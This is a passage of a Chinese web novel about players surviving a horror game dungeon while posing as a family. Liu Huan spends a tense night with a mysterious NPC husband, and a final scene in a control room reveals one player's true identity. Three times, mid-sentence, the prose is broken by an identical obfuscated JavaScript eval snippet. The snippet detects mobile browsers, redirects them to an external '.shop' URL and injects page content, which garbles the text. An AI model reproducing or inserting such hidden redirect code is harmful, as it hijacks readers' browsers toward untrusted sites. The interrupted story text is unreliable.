窦萌一路上都死死挽住柳浣的手,照她说的话就是,打死都不分开! 柳浣掏出钥匙,再将探进孔里的钥匙一拧,门咔嚓一声,开了。 “妈妈!” 三人闻言,柳浣能清晰地感觉到窦萌身子一僵,再看表情,明显是被孩子的叫声骇住了。 她轻轻拍了拍窦萌挽着自己的手,以示安慰。 阿叁站在黑暗里等待,见到妈妈那一刻,高兴得合不拢嘴。 明朝气笑了,随后低头在窦萌耳边解释:“这是npc之一,三胞胎中最小的一个,阿叁。” 柳浣打开了灯,再弯腰顺势将阿叁抱起,她好奇问道:“宝宝是在等妈妈吗?” 〖阿叁好感度+5,当前好感度为40。〗 阿叁探手环抱住柳浣的脖子,小小的身子顺势往她怀里一埋,软乎乎的脸颊贴着温热的胸膛,他嬉笑出声:“对呀,我在等妈妈接姑姑回家。” 窦萌见状挑眉,先前眼里的惊恐消失殆尽,唯独余下了好奇。 明朝看了她一眼,总觉得哪里怪怪的。 但他没有深究,因为注意力很快就被阿叁与柳浣吸引。 这完全就是慈母乖宝的既视感啊! 这对吗?? 客厅往北的走廊两侧各是两间卧房,明朝与双胞胎的靠左首,窦萌与公婆的房间则靠右首,其中窦萌住的是最里头的那一间。 “明天周六,阿叁乖宝可以睡懒觉哦,不用去幼儿园。”柳浣抱着孩子走进屋里,其余两个人谨慎跟上。 阿叁抬起了头:“我知道呀妈妈,明天舅舅带我们出去玩!” 言毕,柳浣和窦萌目光不约而同锁定明朝,都露出难以言表的神色。 小区是怎样的,他们三人今晚算是彻底领教过了,就是不知道白天的小区,会不会和晚上的全然不同。 柳浣清楚地记得,这是明朝的一项任务,内容是带着三胞胎去小区里的游乐区玩耍。 “那宝宝先进房间睡觉吧,咱们养精蓄锐,明天敞开玩,好不好?”明朝学着柳浣的样子,和npc阿叁商量。 意料之外的,不仅是阿叁露出了嫌弃的表情,就连窦萌满脸都是“你是傻子吧”的表情。 “舅舅你别叫我宝宝,你叫得好难听!”阿叁嚷嚷着挣脱妈妈的怀抱,逃跑似的几步回到房间门口,“妈妈晚安!明天见!” 柳浣莞尔一笑:“宝宝明天见,好梦~” 门关上了,客厅里陷入几秒安静。 明朝呵呵一笑:“凭啥不让我叫?” 柳浣无奈地摇了摇头:“走吧,先找一个地方理清思绪。” 窦萌觉得她说的很有道理,立马附和:“呃……你说的对!我们去哪?” 片刻后,明朝主动提议:“要不去我房间吧,其实我一直挺在意一件事的......” 柳浣也不绕弯子,直接问:“在意什么?” 提到这个,明朝可就来劲了,他直言不讳,直接笑着打趣道:“柳浣,你就不好奇你老公长什么样吗?万一和你婆婆一样脸上空白,今晚你们又要同床共枕怎么办?” 谁不喜欢八卦呢,管他男女老少。 柳浣:“......”闭嘴吧神经病。 窦萌这时候不合时宜开口询问:“姐姐你叫柳huan?哪个huan啊,我还没来得及问,对了,我的萌是萌妹的萌。” 柳浣看向她:“三点水加一个完蛋的完的浣。” 明朝待她说完,也开始介绍起自己来:“我叫明朝,明天的明,朝气蓬勃的朝,身高186,喜欢打篮球......” 窦萌颔首完,出声打断:“好的明朝哥,我们还是要事为紧吧,你房间在哪呢?” 柳浣不由得一笑,二话不说迈开脚步,走到明朝房间前面:“两位,进来吧。” 窦萌乖乖答道:“好的柳姐姐!” 明朝:“哦...好!” 推开门,明朝的房间扑面而来一股陈旧的霉味,混杂着老式木头家具特有的干涩气息。 房间布局简单得过分,一张老式木床靠着墙,旁边摆着掉漆的书桌,墙上贴着几张边角卷翘的泛黄旧海报。 窗户紧闭着,密不透风,将外面那片浓稠的黑暗彻底隔绝在外,这倒让狭小的房间多了一丝勉强的安全感。 柳浣待他们二人走进后,反手将门轻轻合上。 窦萌走到书桌旁,看了眼柳浣,然后小心翼翼地拉过一把木椅坐下,眼底依旧残留着外出时的惊惧。 “现在就我们三个,没有npc,可以放开说了。”柳浣找了个靠窗的位置站定,目光扫过两人,神色沉凝下来,“明朝,我们再汇报一遍任务吧,还有目前掌握的线索。” 明朝靠在床头,长腿随意舒展,一改刚才在外的紧绷,语气也放松了几分:“我有四个任务,第一个是维持家人关系,不能暴露玩家身份,第二个是三天内带三胞胎去小区游乐区,第三个是绝对不能忤逆姐夫,第四个是和大家一样,联手杀掉阿牛,也就是柳浣公公。” 窦萌刚加入,这些得再说一遍。 明朝说到最后一句,房间里的气氛骤然沉了几分。 窦萌闻言抿了抿唇,紧接着开口:“我的任务比你们少一点,一共三个。” “第一,扮演好阿玲的身份,完美融入家庭,不能被npc识破,第二,辅助家里其他人完成日常琐事,刷取家人好感度,第三,同样是击杀父亲阿牛。” 她说完,抬头看向柳浣,眼里带着几分求助的意味。 柳浣脸颊微微一热,轻咳一声,坦然开口:“我的四个任务,一是搞好婆媳关系,二是和老公爱得热烈……三是照顾好三胞胎,四是杀公公。” 窦萌闻言,明显嘴角抽搐了几下。 “哈哈哈,”明朝忍不住咂舌,再一次取笑,“就你一个人有这种奇葩恋爱任务,合着整个副本就你要被迫营业夫妻感情。” “这哪是营业,分明是送命题。”柳浣皱着眉,指尖无意识摩挲着袖口,“阿嫣房间里那张婚纱照上的新娘,和我一模一样,可新郎没有五官…谁都不知道他到底是个什么东西。” 一想到那张空荡荡没有任何轮廓的新郎脸,房间里的温度仿佛都低了几分。 窦萌打了个寒颤,小声道:“说起npc,我们现在可以盘点一下九口人里的身份了,九个名额,三个玩家,六个npc对吧?” “还不确定。”柳浣摇头,条理清晰地梳理起来, 毕竟,公公和丈夫,还没亮出真容。 柳浣分析:“婆婆她没有五官,皮肤溃烂,好感度极低,稍微做错一点事就会扣好感,好感度负数会直接被抹杀,不知道你们是不是也一样。” “我是!”明朝叹气,“我在她那的好感度,仅仅只有4!” “我的只有9……” 柳浣颔首:“三胞胎看起来暂时无害,还能刷好感,是我们目前可以拉拢的对象。” “公公从头到尾没有露面,却是我们的主线目标,”明朝接过话头,指尖轻轻敲着床沿,“最诡异的就是这个公公,整个家所有人都在,唯独他不见踪影,谁也不知道他藏在小区的哪个角落,是强是弱,有什么能力。” “柳姐姐的丈夫也是,”窦萌补了一句,“也是全程隐身,只存在于婚纱照和任务里,连一点踪迹都没有,不让忤逆他的任务,说明这个丈夫的地位很高,危险性说不定比公公还要大。” 三人你一言我一语,将整个副本的脉络慢慢拼凑完整。 “还有小区的规则,”柳浣想起刚才外出的遭遇,语气凝重,“夜晚不能乱看乱听,不能回应陌生人的呼唤,我们刚才在路上听到的女童声音,楼道里的脚步声,都是副本里的脏东西,一旦应声,就是死路一条。” “而且这个小区昼夜完全不正常。”柳浣继续沉声道,“下午五点天就彻底黑透,整个小区荒无人烟,像一座死城,我怀疑白天的小区,也藏着不一样的危险,尤其是明朝要带三胞胎去的游乐区。” “游乐区绝对不是善地,系统不会发布没有危险的任务,那个地方,说不定就是公公的藏身之地,或是猎杀玩家的陷阱。” 明朝闻言,笑不出来了。 窦萌缩了缩脖子:“那我们岂不是步步都是死局?一边要应付家里的npc刷好感,一边要提防小区里的鬼怪,最后还要想办法杀掉阿牛……我们三个,真的能活下去吗?” 她年纪看着不大,长得很可爱,大概也就十八十九岁,突然被拉入这种亡命游戏,恐惧几乎快要压垮她的心神。 “能,”柳浣语气坚定,“我们现在有三个人抱团,比单独行动的存活率高太多,只要互相配合,稳住npc好感,遵守副本规则,慢慢寻找公公的破绽,就有活下去的机会,甚至还能赚取积分回去得到奖金。” “才十亿奖金,”明朝挑了挑眉,眼底闪过一丝不屑,“呵呵。” 窦萌闻言,诧异地看向他。 十亿还不多吗?! 柳浣笑了笑,对着满脸不解的窦萌解释道:“他现实中是个富三代,有钱人不差钱。” 窦萌深吸一口气,像是被两人的情绪安抚下来,重新打起精神:“我明白了,我会好好扮演阿玲,不给你们拖后腿。” “互相照应就好,”柳浣缓了神色,“接下来的分工可以简单定一下,明朝,你的重点是准备明天带三胞胎去游乐区,提前探查线索,窦萌你刚回来,先熟悉家里的环境,阿玲应该是个高中生,我负责稳住婆婆和三个孩子,顺便应付那位从未露面的丈夫。” 分工明确,三人瞬间有了方向。 又闲聊了几句关于副本的细节,确认没有遗漏的线索后,夜色也越发深沉。 老旧挂钟的滴答声隔着墙壁隐隐传来,沉闷的声响敲在人心上,催着人回到各自的位置。 “时间不早了,我们各自回房间吧,”柳浣站起身,“夜里不要随便出门,不管听到什么声音,都不要开门,不要回应。” “好。”两人应声。 窦萌跟着柳浣走出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496464|202529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了房间,明朝出来送她们一程。 窦萌的房间在最里面,和公婆的卧房相邻,光是站在门口,就能感受到一股阴冷的气息。 “柳姐姐,晚安。”窦萌小心翼翼推开房门,临走前还不忘叮嘱,“你也小心。” “嗯,早点休息。” 目送窦萌关上房门,明朝站在自己房间门前,看向柳浣,挤眉弄眼地压低声音:“准备好了吗?今晚说不定真的要和神秘无脸丈夫,同床共枕呢阿嫣女士。” 柳浣白了他一眼,没好气道:“少贫嘴。” “我这不是担心你嘛。”明朝笑得一脸促狭,“万一你那丈夫半夜露出什么诡异模样,你记得喊我,我第一时间冲过去救你。” “不必,开玩笑也不分分场合?看得出你在现实当中是有多皮了。”柳浣懒得和他说笑,转身朝着南侧那间单独的主卧走去。 ……那间摆着诡异婚纱照的房间,是她今晚逃不开的牢笼。 看着柳浣的背影消失在走廊尽头,明朝脸上的玩笑神色慢慢收敛,眼底染上几分凝重,默默转身回了自己房间。 …… 柳浣推开主卧的门,屋内的气氛依旧压抑。 月光透过薄薄的窗纱洒进来,落在那张巨大的婚纱照上。 她走到床边坐下,指尖触到冰凉的丝绒被,心头五味杂陈。 就在这时,衣服兜里的手机忽然“嗡”地震动了一下。 屏幕亮起,不是群消息,而是一个单独的聊天框。 备注只有两个字:老公。 柳浣的心跳骤然一紧,指尖悬在屏幕上方,迟迟没有落下。 犹豫片刻,她还是点开了对话框。 老公:老婆~我回来了~已经在小区门口咯?>?<> 老公:外面黑漆漆的,人家一个人好怕怕,要老婆抱抱才能壮胆 老公:很快就到家啦,我的嫣嫣有没有乖乖在家等我呀??..?? 老公是npc无疑了,正常玩家哪会这样! 一连串带着贱兮兮气息的颜文字跳在屏幕上,语气轻浮又暧昧,完全像是一个热恋中黏人的男友。 可柳浣只觉得浑身发冷。 打字的是人? 还是什么不知名的鬼怪? 这个从未露面的丈夫,语气越是亲昵,就越是透着说不出的诡异。 他要回来了…… 意味着,今晚,她真的要和这个没有脸的神秘npc,躺在同一张床上。 乌鸦嘴明朝,我去你大爷! 柳浣盯着屏幕上的消息,指尖微微发颤,大脑飞速运转。 任务二,和老公爱得热烈。 若是冷淡回应,大概率会扣除丈夫的好感度,谁也不知道这个神秘丈夫的好感度一旦变低,会触发什么样的诡异诅咒。 思来想去,柳浣只能压下心底的寒意,硬着头皮,敲下回复。 阿嫣:我在房间等你,路上小心一点。 发送出去的瞬间,对面几乎是秒回。 老公:呜呜呜老婆爱你爱你(^3^) 老公:马上就上楼啦,等着我~ 看着这条消息,柳浣只觉得后背发凉。 他已经在上楼了。 房间外,走廊里静得落针可闻。 柳浣甚至已经听到,楼道里传来缓慢,沉稳的脚步声,一步一步。 她下意识攥紧了身下的被子,全身的神经都紧绷到了极点。 房间里的灯光忽明忽暗,摇曳的光影将婚纱照的影子拉得狭长扭曲,空洞的新郎位置,像是有一道无形的视线,牢牢锁死了她的身形。 她不知道推门进来的会是什么。 是和婚纱照一样没有五官的男人?是披着人皮的诡异npc?还是潜藏在黑暗里,伺机猎杀她的恶鬼? 可她没有退路。 任务压在头顶,现实的性命悬在一线,她只能伪装成温柔贤惠的阿嫣,装作满心期待地等待自己的“丈夫”归家。 脚步声越来越近,停在了主卧门外。 “咔哒。” 轻微的门把手转动声响起。 房门,被人从外面缓缓推开。 一股带着夜色寒凉的风,顺着门缝吹了进来,裹挟着一丝若有若无的冷香,说不清是好闻,还是让人毛骨悚然。 柳浣坐在床上,脊背挺得笔直,强装镇定地抬眼望去。 门口的黑影里,一道修长挺拔的身形,缓缓走了进来……柳浣能够确信,是她壁纸里的那个帅哥。 宽肩窄腰,身形挺拔,和照片上新郎的身形别无二致。 男人反手关上房门,将屋外的黑暗与死寂一并隔绝在外。 他一步步朝着床边走来,步伐缓慢,带着一种不容抗拒的压迫感。 柳浣的心跳擂鼓一般,撞得胸腔生疼,指尖死死抠着丝绒被的纹路,指甲几乎要嵌进布料里。 下一秒,一道低沉磁性的男声缓缓响起,带着几分戏谑的笑意,在寂静的房间里缓缓流淌开来。 “我的老婆,等很久了吧?” 5. 好感度 柳浣的呼吸在这一刻近乎停滞,全身的肌肉都绷成了一张拉满的弓。 那是一张极具冲击力的脸,轮廓深邃立体,眉骨高挺,眼尾微微上挑,瞳孔是偏浅的墨棕,眸光流转间带着几分漫不经心的慵懒。 他完美得如同女娲精心雕琢的艺术品,和柳浣手机壁纸里那个惊艳的帅哥分毫不差。 婚纱照上,新郎脸部的位置明明是一片空白,可眼前的男人,却有着这样一张挑不出半点瑕疵的脸,反差感狠狠揪住了柳浣的心脏。 他,就是老公阿琛。 他居高临下地看着坐在床上的柳浣。 柳浣强迫自己稳住心神,绝对不能表现出丝毫异样。 她缓缓松开攥着被子的手,努力扯出一个温柔又带着几分期许的笑意,声音放得轻柔:“你回来了,外面风大,辛苦了。” 男人动了动唇,半晌没有说话。 过了好一会儿,他低低笑了一声,音色低沉,里面藏着几分不易察觉的玩味。他弯下腰,伸手轻轻拂过柳浣的脸颊。 他的指尖冰凉,触碰到皮肤的那一刻,柳浣浑身一颤,下意识想要躲闪,却在最后一刻硬生生忍住。 “怎么?见到我很紧张?”男人俯身,温热的气息拂过她的耳畔,“刚才在手机上不是还说,乖乖等着我吗?” 耳畔的痒意和心底的恐惧交织在一起,可她只能强装镇定,微微偏过头,避开他过于亲昵的气息,故作娇羞地开口:“只是……只是没想到你回来这么快。” 男人直起身,双手插在裤兜里,目光在她身上来回打量。 那目光,看得柳浣浑身不自在,却只能硬着头皮与他对视。 “在我面前,不用装,”他忽然开口,语气淡了几分,却依旧带着笑意,“我知道你心里在想什么,不过没关系,你只需要记住,你是我的老婆,只要乖乖待在我身边,做好你该做的事,没人能伤你。” 这句话看似温情,却字字透着压迫。 像是一种警告,又像是一种承诺。 柳浣心头一凛,瞬间明白,这个丈夫绝对不是普通的npc,他或许早就察觉到了她的不对劲,却没有点破,背后的用意让人捉摸不透。 她压下心底复杂的情绪,顺着他的话,放软了语气:“我知道,我一直都记得。” 〖丈夫好感度+**,当前好感度……对不起,当前好感度无法评测〗 柳浣:“……” 无法评测是什么鬼!? 男人满意地点了点头,走到床边坐下,床面微微下陷,他侧过头看着柳浣,主动开启了话题,语气随意,像是寻常夫妻间的闲聊。 可每一句话,都让柳浣打起十二分精神。 “今晚出去了?”他开口,目光平静地看着她,“小区晚上不安全,以后别随便出门。” 柳浣心头一惊,他竟然知道她晚上外出了? 她连忙点头,语气带着几分乖巧:“嗯,出去接了妹妹,以后不会随便在晚上出门了,我会听话的。” “乖,”男人抬手,轻轻揉了揉她的头发,动作自然又亲昵,“妈那边,你多担待点,她性子就这样,别跟她置气,也别做错事惹她不高兴,家里的安稳,还得靠你维系。” 柳浣立刻明白,他这是在提醒她搞好婆媳关系,和自己的任务不谋而合,她连忙应声:“我知道,我会好好孝顺婆婆,照顾好家里,照顾好三个孩子。” 提到三个孩子,男人嘴角勾起一抹浅淡的笑意:“阿叁他们很喜欢你,这很好,孩子们单纯,别让他们受到惊吓,也别在他们面前,说不该说的话。” “我明白。”柳浣表面稳稳应答。 她心里却在飞速盘算。 男人看着她眼底的澄澈,没有丝毫慌乱和恶意,似乎很是满意,继续闲聊道:“明天我要去上班,家里的事就交给你了,你弟弟要带我们的孩子去小区游乐区?” 柳浣猛地抬眼,他连这个都知道! 柳浣强装镇定,点头道:“嗯,说明天周六,带孩子们去游乐区玩一会儿。” “可以玩,按时回来就行。” 这是在给她提示? 柳浣心头一震,脸上却不动声色,连忙把这句话记在心里,她点头道:“我记住了,会提醒弟弟的。” 男人看着她紧绷却努力装作平静的模样,眼底闪过一丝深意,没有再继续这个话题。 她很清楚,这个丈夫的实力深不可测,在这个副本里,绝对是顶尖的存在,忤逆他,招惹他,无异于自寻死路。 眼下,只能顺着他的意思,伪装好角色,一边完成任务,一边寻找击杀公公阿牛的机会。 接下来的时间,男人又随意问了些家里的琐事,柳浣都一一谨慎应答,每一句话都反复斟酌,生怕露出半点破绽。 她能感觉到,男人看似闲聊,实则一直在试探她,好在她应对得当,始终维持着阿嫣温柔贤惠的妻子形象。 聊了约莫半个多小时,男人站起身,伸了个懒腰,宽肩窄腰的线条在灯光下愈发完美,他看向柳浣,语气带着几分慵懒:“不早了,休息吧。” 柳浣的心瞬间提到了嗓子眼,僵硬地坐在床上,看着他开始脱外套,浑身都变得不自在。 男人似乎看出了她的窘迫,低笑一声,没有再做出过于亲昵的举动,只是走到衣柜旁,拿出一套睡衣,转身进了卫生间:“别紧张,我不会对你做什么,只要你乖乖的。” 听着卫生间里传来的水声,柳浣才长长舒了一口气,后背的睡衣早已被冷汗浸湿,她瘫坐在床上,心脏依旧在疯狂跳动,久久无法平静。 这个丈夫,太诡异,太强大。 也太让人捉摸不透。 好感度无法评测…… 他明明知道很多事情,却不点破,甚至还给她提示,他到底是敌是友? 无数个疑问在柳浣心底盘旋,可她没有任何头绪,只能走一步看一步。 没过多久,男人从卫生间出来,头发微微湿润,穿着宽松的睡衣,少了几分凌厉,多了几分居家的温柔,可柳浣依旧不敢有丝毫放松。 这一晚,柳浣睡得极其不安稳,她始终保持着警惕,蜷缩在床的一侧,不敢靠近身旁的男人。 明明身边躺着一个颜值逆天的人,她却只觉得恐惧,整夜都半梦半醒,稍有动静就会瞬间惊醒,直到天快蒙蒙亮,才终于浅浅睡去。 而身旁的男人,始终安安静静,没有任何多余的举动,仿佛真的只是一个普通的丈夫,让柳浣紧绷了一夜的神经,稍稍放松了些许。 - 第二天清晨,第一缕阳光透过窗户照进主卧,驱散了房间里的压抑和阴冷。 柳浣是被身边的动静惊醒的,她睁开眼,就看到男人已经穿戴整齐,一身利落的西装,衬得他身形愈发挺拔。 阿琛正站在床边整理衣袖。 听到动静,男人回头看了她一眼,眼底带着淡淡的笑意:“醒了老婆?我去上班,乖乖等我回来哦,爱你~” 柳浣连忙坐起身,揉了揉惺忪的睡眼,装作刚睡醒的样子,声音带着一丝慵懒的沙哑:“好,路上小心,注意安全。” 男人走到床边,语气温柔:“乖乖等我回来。” 还没来得及反应,男人已经直起身,转身朝着门外走去,脚步声渐渐远去,直到房门被轻轻关上,彻底消失在走廊里。 待到再也感受不到男人的气息,柳浣才彻底放松下来,瘫倒在床上,大口喘着气。 她连忙起身,简单洗漱一番,整理好情绪,第一时间就给明朝和窦萌发了消息,让他们趁婆婆和其他npc没注意,悄悄来自己的房间汇合。 没过多久,房门就被轻轻敲响,柳浣打开门,明朝和窦萌一前一后快速走了进来,窦萌还小心翼翼地反手关上房门。 “柳姐姐,你没事吧?!”窦萌一进门,就快步走到柳浣身边,上下打量着她,眼底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496465|202529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满是担忧。 明朝也跟着走了过来,靠在墙边,脸上没了往日的戏谑,神色凝重:“昨晚怎么样?那个无脸新郎,到底是什么来头?” 柳浣看着两人担忧的神色,心里微微一暖,示意他们坐下,缓缓开口,将昨晚发生的事,一五一十地说了出来。 从收到阿琛发来的消息,到男人进门,再到两人的闲聊,一字不落地全部告知。 她刻意隐去了自己内心的极度恐慌,语气平静地叙述着,可即便如此,明朝和窦萌听得依旧心惊胆战,脸色不断变化。 “我去,这么刺激?”明朝瞪大了眼睛,满脸不可思议,“本来以为是个无脸鬼怪,结果是个超级大帅哥?这副本搞什么?反转这么大?而且他还主动给你提示?” 窦萌看了眼柳浣,然后小手捂住嘴巴,满眼都是诧异:“天呐,柳姐姐,你也太勇敢了!跟这样一个神秘又可怕的npc待一整晚,换做是我,早就吓崩溃了!话说回来,他是不是全程都在监视这个家啊?” 不然他怎么会知道这么多? 柳浣摇了摇头,眉头紧锁:“是不是在监视我们,还不确定,但他绝对不简单。” “那他对你到底是什么态度?是善意还是恶意?可恶,好感度又看不到……”明朝认真问道,“他给你提示,又不拆穿你,这完全不符合npc的设定啊。” “不清楚,”柳浣如实说道,“他一直在试探我,却没有点破,暂时看不出明显的恶意,但也绝对不是善意,更像是在……观察我。” 说完,柳浣拿出手机,点开了昨晚和“老公”的聊天对话框,递到窦萌面前:“你们看,这是他昨晚给我发的消息。” 窦萌连忙凑过来,明朝也跟着走了过来,两人盯着手机屏幕,看着那一连串带着卖萌,又贱兮兮语气的颜文字,以及油腻又暧昧的话语,全都愣住了…… 下一秒,窦萌忍不住啧啧称奇,嘴角控制不住地抽搐,一脸复杂地看着聊天记录。 明朝笑了:“窦萌,你刚刚是不是翻了个白眼?” 窦萌:“啊?” 明朝:“是我我也翻,这npc不正常……” 柳浣无奈地叹了口气,收回手机。 “柳姐姐,你真的太厉害了,”窦萌满眼敬佩地看着她,“换做是我,会被恶心死的。” 想到正事,明朝的神色严肃起来:“柳浣,你说阿琛说可以玩,意思就是没有危险,按时回来则表示有时间期限?” 柳浣点头,神色凝重地叮嘱:“应该吧,一定要小心,你千万不要单独行动,时刻跟在三个孩子身边,一来能刷好感度,二来也能借助孩子,避开一些危险,遇到不对劲的地方,立刻撤退,不要逞强。” “放心,我心里有数,”明朝应道,“我不会拿自己的性命开玩笑。” 随后,柳浣又看向窦萌:“窦萌,你今天继续熟悉家里的环境,扮演好阿玲的角色,如果可以,多和婆婆接触,刷取好感度,不管婆婆对你态度多差,都不要冲动,忍住脾气,好感度一旦负数,我们就彻底没救了,有任何情况,第一时间想办法通知我们。” 窦萌连忙点头,一脸认真:“我知道了柳姐姐,我一定不拖你们的后腿!有任何线索,都第一时间告诉你们。” 三人又仔细商量了今天的行动细节,把各自的任务再次梳理一遍。 明朝和窦萌对视一眼,都从对方眼里看到了凝重,纷纷点头:“我们明白。” 又叮嘱了几句,眼看时间不早,担心久留会被其他npc察觉,明朝和窦萌不敢多待,悄悄起身,小心翼翼地打开房门,确认走廊没人后,快速离开了柳浣房间,各自回到了自己的房间。 房间里再次只剩下柳浣一人,她走到窗边,看着窗外依旧透着死寂的小区。 她握紧了手机,脑海里不断回放着昨晚和丈夫的对话。 片刻后,柳浣深吸一口气,整理好表情,打开房门,朝着客厅走去。 6. 慈眉善目的婆婆 “起了?” 一道掺杂着疲倦的声音忽然飘入柳浣的耳,她的脚步明显顿住,连带着呼吸一滞。 是婆婆,她早早就起了。 现在正坐在沙发上,摆弄着针线。 柳浣飞快调整好呼气,走进她,眉眼一弯声音甜甜道:“妈,早上好,还没吃吧,要吃什么我去做?” 婆婆闻言,抬起头看她,却迟迟没有动作。 …… 屋子中暗藏诡谲,柳浣心脏跳得猛烈。 就在柳浣打算一鼓作气再问一遍的时候,面板突然跳了出来。 〖婆婆好感度+2,当前好感度为10。〗 柳浣:“......?” 她读完后,疑惑的思绪再次高涨,目光又重新落回婆婆身上,霎时间,柳浣浑身僵住,犹如被人用尽浑身解数,掐住了喉咙。 婆婆有脸了?! 她直勾勾瞧着柳浣,目光虽如无风湖面般平静,但柳浣读到了其他的意思。 遍布的眼尾皱纹,怎么都挡不住婆婆的慈眉善目。 慈眉善目…… 当真称得上慈眉善目,柳浣望着眼前的婆婆,心底翻来覆去,竟寻不到半点别的词语来形容,唯有这四个字,最是贴切入心,分毫不差。 〖恭喜你柳小姐,婆婆好感度突破至两位数,现成功大程度上解锁人物。〗 〖你可以和该人物正常交流了。〗 原来如此啊,柳浣在心里道。 “阿嫣,今天有什么安排吗?”婆婆率先挑起话题,这倒让柳浣心中油然升起一丝错愕。 “妈,我今天没什么安排。”柳浣站在原地,如是说。 这是实话,明朝可以说是有到手的任务要去做,柳浣则是和窦萌一样,没有特定指派的任务,所以,她呆在家里,努力赚取npc好感度。 “那你待会儿陪着妈去小区社区领鸡蛋吧,顺道把礼物给幼儿园的老师送去。”婆婆停下手里的动作,随意将装有针线的篮子放在沙发上。 柳浣见她起身,谨慎地退后一步让开道路,她依旧笑脸相迎:“好的妈。” 婆婆双手叉着腰,步伐迟钝地走回了房间。 社区领鸡蛋,幼儿园送礼...... 庞大的信息量在柳浣的脑子里过了一遍。 这小区远比自己想象的要大啊...... - 游戏大厅,特级权限会议室内,灯光幽暗。 巨型大屏显示器前,男人双腿交叠而坐,眼底携着几分探究的好奇,静静审视着画面中的柳浣小姐。 - 眼前的女人,一头柔顺的黑长直垂落肩头,额前乖巧的刘海衬得脸愈发小巧精致。她眉眼清浅干净,气质温婉清冷,自带不染尘俗的清纯感。 只一眼,便叫人舍不得移开目光。 可此刻她秀眉紧紧蹙起,眼底那刻意绷住的镇定再也撑不住,丝丝慌乱与局促尽数流露,藏都藏不住。 - 片刻后,男人身后传来了会议室被打开的播报声—— 〖舒芙蕾,特级序列1,欢迎。〗 男人闻声没有回头,依旧游刃有余地靠在真皮沙发内。 “还在看呢,小皮,有没有想我啊。”舒芙蕾女士脚踩恨天高,一步一步走到了男人的身旁。 她缓缓弯下腰,一缕馥郁香气霎时间扑面而来,勾得人心神恍惚,欲罢不能,一头红艳明艳的波浪卷发如流瀑般垂落而下,恰好倾泻开来,轻轻遮住了男人的视线。 “别叫我小皮,”男人冷笑一声,“窦萌?这么甜得发腻的名字你也取得出来?” 窦萌身着一袭黑色抹胸鱼尾裙,身姿曼妙妖娆。 她直起身,缓步绕到男人身前,顺势寻了个慵懒又撩人的姿势,轻轻坐到他腿上,旋即抬手环住男人脖颈,刻意将两人的距离骤然拉近。 她,俨然和副本里的窦萌,是两种风格。 “进入游戏前,我的真名本来就叫窦萌好不好。”窦萌气笑了,无语道,“御赴识,你不觉得,舒芙蕾这个代号,和窦萌绝配吗?” 御赴识左手摩挲至窦萌腰上,故作疑惑:“现在才把名字告诉我啊,是不是有点晚了?” “你别答非所问啊,”窦萌抬手摸了摸他俊气的脸,轻嗤一声,“你的代号就是个字母P,是有什么心事吗?” 唯有成功通关首个新手副本,才算正式踏入这场生死游戏,被系统认定为在册玩家。 进入游戏后,每个玩家都会为自己取一个专属代号,往后在游戏里全程以此相称。 玩家队伍由系统随机匹配分组,全程不透露真实身份,不露现实信息。 除却提前相约,彼此绝对信任的挚友外,其余玩家之间只认代号。 “我真搞不懂你,”御赴识的目光又放回柳浣身上,“他瞎闹也就罢了,你也跟着进入一个初级副本,怎么?闲得慌?特级序列的权限你倒是会浪费。” 游戏等级共分四个阶段: 初级1-10级。 中级1-10级。 高级1-5级。 特级1-3级。 阶级越高,升级难度越大。 同样的,阶级越高,权限越大。 特级序列3,是唯一拥有副本自由穿梭权限的等级,没有人知道,他闯关过多少副本,赚取了多少积分才爬到如今的位置。 没人知道,他究竟为了什么? 毕竟每一个难度系数高的副本,他都是拿命在通关。 “好不容易升到特级,你管我呢?”窦萌嘴上说着,手上却不老实,又转向玩弄对方的耳朵,“我也只是好奇嘛,代号句号那小子可以到初级副本里扮演npc,我为什么不能找系统开后门,去扮演个新手小羊?” “他是唯一一个特级序列3的,”御赴识的另一只手覆上对方的大腿,“有本事你去骂骂他。” “我不跟你贫,句号哥跟你说了他是为什么去初级副本玩吗?”窦萌问。 御赴识正了正神色,冷漠开口:“没有。” 窦萌闻言后挑眉,示意他继续说下去,后者无奈接着道:“很明显,那小子是冲着柳浣去的,而且,那小子动用权限屏蔽了服务器,他和柳浣单独待着的时候,无法实时载入传输到大屏。” 窦萌一下子就来了精神,明艳的红唇上扬出蛊惑人心的弧度,她笑道:“那我真是对柳浣越来越好奇了呢,小皮你说,我在副本里装的像不像?” 御赴识看着她,嗤笑一声:“也就那样,你的动作那小子不可能没有察觉到,你悠着点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496466|202529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 窦萌离开男人的怀抱,扬长而去,出门前,不忘补上一句:“人家也只是好奇嘛,只要没有妨碍到他,他是不会把我怎样的,我走了,好好看我表现哦~” 